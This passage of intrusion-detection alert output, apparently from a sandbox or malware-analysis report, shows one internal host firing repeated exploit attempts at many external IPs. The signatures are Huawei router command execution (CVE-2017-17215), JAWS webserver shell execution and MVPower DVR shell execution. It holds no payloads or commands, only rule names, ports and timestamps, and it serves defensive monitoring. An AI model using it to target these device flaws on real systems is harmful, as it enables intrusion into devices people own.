Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.99.171.142

Timestamp:	06/01/24-18:15:54.274796
SID:	2829579
Source Port:	40428
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.234.39.13

Timestamp:	06/01/24-18:15:54.254454
SID:	2829579
Source Port:	47530
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.210.56.52

Timestamp:	06/01/24-18:15:55.262354
SID:	2829579
Source Port:	57030
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.227.20.171

Timestamp:	06/01/24-18:15:54.252168
SID:	2835222
Source Port:	49194
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 162.196.145.224

Timestamp:	06/01/24-18:15:55.266529
SID:	2030092
Source Port:	38612
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 203.183.146.124

Timestamp:	06/01/24-18:15:55.267705
SID:	2030092
Source Port:	35598
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.148.74.163

Timestamp:	06/01/24-18:15:54.275058
SID:	2835222
Source Port:	51176
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.37.220.142

Timestamp:	06/01/24-18:15:54.252117
SID:	2829579
Source Port:	36204
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.121.209.235

Timestamp:	06/01/24-18:15:56.288192
SID:	2835222
Source Port:	53054
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.254.140.119

Timestamp:	06/01/24-18:15:56.305939
SID:	2829579
Source Port:	40892
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 8.194.32.207

Timestamp:	06/01/24-18:15:53.241257
SID:	2025883
Source Port:	38354
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.171.180.102

Timestamp:	06/01/24-18:15:54.252555
SID:	2835222
Source Port:	49600
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.161.107.182

Timestamp:	06/01/24-18:15:55.262753
SID:	2829579
Source Port:	43784
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.149.206.65

Timestamp:	06/01/24-18:15:54.255482
SID:	2829579
Source Port:	57988
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.73.11.125

Timestamp:	06/01/24-18:15:54.275029
SID:	2829579
Source Port:	52246
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.63.174.230

Timestamp:	06/01/24-18:15:56.307479
SID:	2835222
Source Port:	60150
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 83.218.78.62

Timestamp:	06/01/24-18:15:55.265734
SID:	2030092
Source Port:	51458
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 189.82.218.132

Timestamp:	06/01/24-18:15:54.238596
SID:	2030092
Source Port:	32936
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 31.70.83.31

Timestamp:	06/01/24-18:15:53.240154
SID:	2030092
Source Port:	39420
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.95.142.163

Timestamp:	06/01/24-18:15:54.274661
SID:	2835222
Source Port:	58694
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.45.246.39

Timestamp:	06/01/24-18:15:54.255200
SID:	2829579
Source Port:	56718
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 206.121.1.240

Timestamp:	06/01/24-18:15:53.240463
SID:	2025883
Source Port:	37714
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 8.125.254.226

Timestamp:	06/01/24-18:15:55.265647
SID:	2030092
Source Port:	56880
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.251.190.176

Timestamp:	06/01/24-18:15:54.273833
SID:	2835222
Source Port:	40358
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.221.125.6

Timestamp:	06/01/24-18:15:54.275278
SID:	2835222
Source Port:	36160
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.211.151.21

Timestamp:	06/01/24-18:15:54.273878
SID:	2835222
Source Port:	60218
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 223.81.79.132

Timestamp:	06/01/24-18:15:53.241470
SID:	2025883
Source Port:	58476
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.61.54.93

Timestamp:	06/01/24-18:15:54.251714
SID:	2829579
Source Port:	55452
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.83.168.107

Timestamp:	06/01/24-18:15:55.233612
SID:	2829579
Source Port:	47420
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 149.50.188.155

Timestamp:	06/01/24-18:15:55.267380
SID:	2030092
Source Port:	40128
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 142.5.237.169

Timestamp:	06/01/24-18:15:53.238996
SID:	2030092
Source Port:	58076
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.159.67.191

Timestamp:	06/01/24-18:15:55.259394
SID:	2829579
Source Port:	46300
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.9.202.179

Timestamp:	06/01/24-18:15:54.275397
SID:	2835222
Source Port:	58696
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.113.109.247

Timestamp:	06/01/24-18:15:54.252427
SID:	2835222
Source Port:	49906
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.177.250.156

Timestamp:	06/01/24-18:15:55.261204
SID:	2829579
Source Port:	42426
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.179.71.43

Timestamp:	06/01/24-18:15:54.251796
SID:	2829579
Source Port:	57566
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 8.18.108.124

Timestamp:	06/01/24-18:15:56.245720
SID:	2030092
Source Port:	49594
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.48.200.253

Timestamp:	06/01/24-18:15:55.260018
SID:	2829579
Source Port:	35538
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.5.246.90

Timestamp:	06/01/24-18:15:54.275438
SID:	2829579
Source Port:	50042
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.108.83.196

Timestamp:	06/01/24-18:15:54.274916
SID:	2835222
Source Port:	46990
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 92.228.245.159

Timestamp:	06/01/24-18:15:53.239527
SID:	2025883
Source Port:	34360
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.141.16.244

Timestamp:	06/01/24-18:15:56.306870
SID:	2829579
Source Port:	49334
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.159.210.112

Timestamp:	06/01/24-18:15:54.252084
SID:	2835222
Source Port:	54532
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 204.99.201.107

Timestamp:	06/01/24-18:15:56.245249
SID:	2025883
Source Port:	52570
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.152.169.18

Timestamp:	06/01/24-18:15:54.253050
SID:	2835222
Source Port:	54402
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.110.203.35

Timestamp:	06/01/24-18:15:54.254853
SID:	2829579
Source Port:	47606
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.4.146.242

Timestamp:	06/01/24-18:15:54.275631
SID:	2829579
Source Port:	59058
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 170.90.134.85

Timestamp:	06/01/24-18:15:53.247003
SID:	2030092
Source Port:	40782
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 202.24.92.234

Timestamp:	06/01/24-18:15:53.238429
SID:	2030092
Source Port:	39486
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 45.238.94.61

Timestamp:	06/01/24-18:15:53.239991
SID:	2030092
Source Port:	32914
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 219.191.228.10

Timestamp:	06/01/24-18:15:54.240221
SID:	2025883
Source Port:	53534
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.57.81.216

Timestamp:	06/01/24-18:15:55.261422
SID:	2829579
Source Port:	41992
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 107.137.173.67

Timestamp:	06/01/24-18:15:55.267015
SID:	2030092
Source Port:	57650
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.145.248.27

Timestamp:	06/01/24-18:15:54.253905
SID:	2829579
Source Port:	45198
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.95.96.115

Timestamp:	06/01/24-18:15:56.308000
SID:	2835222
Source Port:	39248
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 42.133.131.181

Timestamp:	06/01/24-18:15:56.245498
SID:	2025883
Source Port:	42136
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.223.205.90

Timestamp:	06/01/24-18:15:55.261159
SID:	2835222
Source Port:	57668
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.56.241.40

Timestamp:	06/01/24-18:15:54.256722
SID:	2829579
Source Port:	52616
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.37.13.98

Timestamp:	06/01/24-18:15:54.253014
SID:	2835222
Source Port:	55216
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.169.205.31

Timestamp:	06/01/24-18:15:56.307292
SID:	2829579
Source Port:	49158
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.121.136.81

Timestamp:	06/01/24-18:15:54.254086
SID:	2835222
Source Port:	49882
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 117.200.77.204

Timestamp:	06/01/24-18:15:53.238153
SID:	2030092
Source Port:	56838
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 38.25.43.161

Timestamp:	06/01/24-18:15:56.246812
SID:	2025883
Source Port:	43896
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.69.248.105

Timestamp:	06/01/24-18:15:54.255976
SID:	2835222
Source Port:	41036
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.101.61.245

Timestamp:	06/01/24-18:15:54.274464
SID:	2829579
Source Port:	35470
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 61.112.73.122

Timestamp:	06/01/24-18:15:55.266159
SID:	2030092
Source Port:	56890
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 99.223.38.236

Timestamp:	06/01/24-18:15:54.239818
SID:	2030092
Source Port:	50036
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 63.169.38.14

Timestamp:	06/01/24-18:15:56.245784
SID:	2030092
Source Port:	59086
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 161.43.121.185

Timestamp:	06/01/24-18:15:54.239201
SID:	2025883
Source Port:	44888
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 117.241.145.89

Timestamp:	06/01/24-18:15:53.239114
SID:	2030092
Source Port:	44372
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.160.105.72

Timestamp:	06/01/24-18:15:54.275477
SID:	2835222
Source Port:	45632
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 25.87.20.30

Timestamp:	06/01/24-18:15:53.239819
SID:	2030092
Source Port:	44778
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 208.229.32.27

Timestamp:	06/01/24-18:15:55.268528
SID:	2030092
Source Port:	36644
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 159.209.163.86

Timestamp:	06/01/24-18:15:53.240505
SID:	2025883
Source Port:	50218
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.247.117.7

Timestamp:	06/01/24-18:15:55.262933
SID:	2829579
Source Port:	43420
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 19.122.215.223

Timestamp:	06/01/24-18:15:55.268035
SID:	2030092
Source Port:	49550
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 112.152.48.8

Timestamp:	06/01/24-18:15:53.240919
SID:	2025883
Source Port:	33878
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.132.75.186

Timestamp:	06/01/24-18:15:54.255507
SID:	2829579
Source Port:	57296
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.65.247.219

Timestamp:	06/01/24-18:15:54.253499
SID:	2829579
Source Port:	34684
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.167.5.201

Timestamp:	06/01/24-18:15:54.252202
SID:	2835222
Source Port:	41014
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.125.186.113

Timestamp:	06/01/24-18:15:54.251939
SID:	2835222
Source Port:	35612
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 190.157.211.94

Timestamp:	06/01/24-18:15:54.240725
SID:	2030092
Source Port:	32974
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 196.27.40.199

Timestamp:	06/01/24-18:15:55.265213
SID:	2030092
Source Port:	39394
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 42.11.130.136

Timestamp:	06/01/24-18:15:54.239497
SID:	2025883
Source Port:	45190
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 138.193.26.70

Timestamp:	06/01/24-18:15:53.237611
SID:	2030092
Source Port:	57450
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 106.231.83.190

Timestamp:	06/01/24-18:15:55.266592
SID:	2030092
Source Port:	50724
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 157.151.151.63

Timestamp:	06/01/24-18:15:54.240458
SID:	2030092
Source Port:	35078
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 64.170.221.237

Timestamp:	06/01/24-18:15:56.254225
SID:	2025883
Source Port:	46648
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.47.174.21

Timestamp:	06/01/24-18:15:54.254785
SID:	2829579
Source Port:	36170
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 95.179.61.207

Timestamp:	06/01/24-18:15:55.265935
SID:	2030092
Source Port:	55482
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.109.78.181

Timestamp:	06/01/24-18:15:54.254747
SID:	2835222
Source Port:	45572
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.240.0.43

Timestamp:	06/01/24-18:15:54.255124
SID:	2835222
Source Port:	35932
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 12.230.123.8

Timestamp:	06/01/24-18:15:55.266247
SID:	2030092
Source Port:	36378
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 83.217.140.1

Timestamp:	06/01/24-18:15:56.246669
SID:	2030092
Source Port:	35082
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.88.210.161

Timestamp:	06/01/24-18:15:54.254489
SID:	2835222
Source Port:	60378
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 52.191.152.237

Timestamp:	06/01/24-18:15:54.238344
SID:	2025883
Source Port:	46754
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.162.38.43

Timestamp:	06/01/24-18:15:55.262801
SID:	2829579
Source Port:	43862
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.150.168.22

Timestamp:	06/01/24-18:15:54.274024
SID:	2829579
Source Port:	52602
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 93.152.148.219

Timestamp:	06/01/24-18:15:53.241011
SID:	2030092
Source Port:	46490
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.69.68.105

Timestamp:	06/01/24-18:15:55.260064
SID:	2835222
Source Port:	42688
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 179.119.22.120

Timestamp:	06/01/24-18:15:55.267599
SID:	2030092
Source Port:	49982
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 158.4.130.100

Timestamp:	06/01/24-18:15:53.240242
SID:	2030092
Source Port:	34922
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.2.53.201

Timestamp:	06/01/24-18:15:56.307801
SID:	2835222
Source Port:	52408
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 44.214.37.113

Timestamp:	06/01/24-18:15:53.247036
SID:	2030092
Source Port:	56362
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.189.238.220

Timestamp:	06/01/24-18:15:54.253169
SID:	2829579
Source Port:	41296
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 45.33.63.82

Timestamp:	06/01/24-18:15:56.244558
SID:	2030092
Source Port:	56334
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 106.72.36.51

Timestamp:	06/01/24-18:15:54.239716
SID:	2030092
Source Port:	52274
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.148.200.185

Timestamp:	06/01/24-18:15:55.263799
SID:	2829579
